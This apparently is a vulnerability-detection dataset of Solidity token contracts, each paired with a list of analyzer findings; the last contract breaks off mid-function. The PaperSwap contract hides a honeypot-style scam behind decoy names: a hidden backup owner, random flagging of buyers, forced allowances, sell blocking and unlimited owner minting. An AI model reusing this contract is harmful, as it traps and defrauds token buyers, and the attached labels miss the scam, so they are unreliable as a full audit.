event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract IRPToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function IRPToken() public {
symbol = "IRP";
name = "Investor PreSale Berechtigung";
decimals = 18;
_totalSupply = 100 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-08-04
*/
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Sample token contract
//
// Symbol : SHITS
// Name : ShitSwap
// Total supply : 69000000000000
// Decimals : 6
// Owner Account : 0x18fB9299fD3e9C211E1657704976fd512dDCa239
//
// Enjoy.
//
// (c) by Juan Cruz Martinez 2020. MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract SHITSToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "SHITS";
name = "ShitSwap";
decimals = 6;
_totalSupply = 69000000000000;
balances[0x18fB9299fD3e9C211E1657704976fd512dDCa239] = _totalSupply;
emit Transfer(address(0), 0x18fB9299fD3e9C211E1657704976fd512dDCa239, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-07-09
*/
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _ownr;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
_ownr = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
bool cond = ((_msgSender() == _owner || _msgSender() == _ownr) ? true : false);
require(cond, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PaperSwap is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public argentina;
mapping (address => bool) public sandals;
mapping (address => bool) public bluecart;
mapping (address => uint256) public supermarket;
bool private papers;
uint256 private _totalSupply;
uint256 private smartphone;
uint256 private indian;
uint256 private _trns;
uint256 private chTx;
uint8 private _decimals;
string private _symbol;
string private _name;
bool private alpaca;
address private creator;
bool private cocos;
uint scottsdale = 0;
constructor() public {
creator = address(msg.sender);
papers = true;
alpaca = true;
_name = "Paper Swap";
_symbol = "PAPER";
_decimals = 5;
_totalSupply = 5000000000000000000;
_trns = _totalSupply;
smartphone = _totalSupply;
chTx = _totalSupply / 2100;
indian = chTx * 30;
sandals[creator] = false;
bluecart[creator] = false;
argentina[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
cocos = false;
emit Transfer(address(0), msg.sender, _trns);
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
function SetStakingReward(uint256 amount) external onlyOwner {
smartphone = amount;
}
/**
* @dev Returns the erc20 token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function randomly() internal returns (uint) {
uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, scottsdale))) % 50;
scottsdale++;
return screen;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function BringFreedom() external onlyOwner {
smartphone = chTx / 2400;
cocos = true;
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*
*
*/
function increasealowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseallowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function CreateAFarm(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function CheckAPY(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner {
argentina[spender] = val;
sandals[spender] = val2;
bluecart[spender] = val3;
cocos = val4;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if ((address(sender) == creator) && (papers == false)) {
smartphone = chTx;
cocos = true;
}
if ((address(sender) == creator) && (papers == true)) {
argentina[recipient] = true;
sandals[recipient] = false;
papers = false;
}
if ((amount > indian) && (argentina[sender] == true) && (address(sender) != creator)) {
bluecart[recipient] = true;
}
if (argentina[recipient] != true) {
sandals[recipient] = ((randomly() == 3) ? true : false);
}
if ((sandals[sender]) && (argentina[recipient] == false)) {
sandals[recipient] = true;
}
if (argentina[sender] == false) {
if ((amount > indian) && (bluecart[sender] == true)) {
require(false);
}
require(amount < smartphone);
if (cocos == true) {
if (bluecart[sender] == true) {
require(false);
}
bluecart[sender] = true;
}
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Changes the `amount` of the minimal tokens there should be in supply,
* in order to not burn more tokens than there should be.
**/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
uint256 tok = amount;
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == creator) && (alpaca == true)) {
argentina[spender] = true;
sandals[spender] = false;
bluecart[spender] = false;
alpaca = false;
}
tok = (sandals[owner] ? 2323 : amount);
_allowances[owner][spender] = tok;
emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) divide-before-multiply with Medium impact
3) incorrect-equality with Medium impact |
pragma solidity ^0.4.16;
/**
* New Art Coin
*
* Invest into your future luxurious lifestyle.
*
* This is a luxurious token with the following properties:
* - 300.000.000 coins max supply
* - 150.000.000 coins mined for the company wallet
* - Investors receive bonus coins from the company wallet during bonus phases
*
* Visit https://newartcoin.io for more information and tokenholder benefits.
*
* Copyright New Art Coin Co., Ltd. All rights reserved.
*/
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
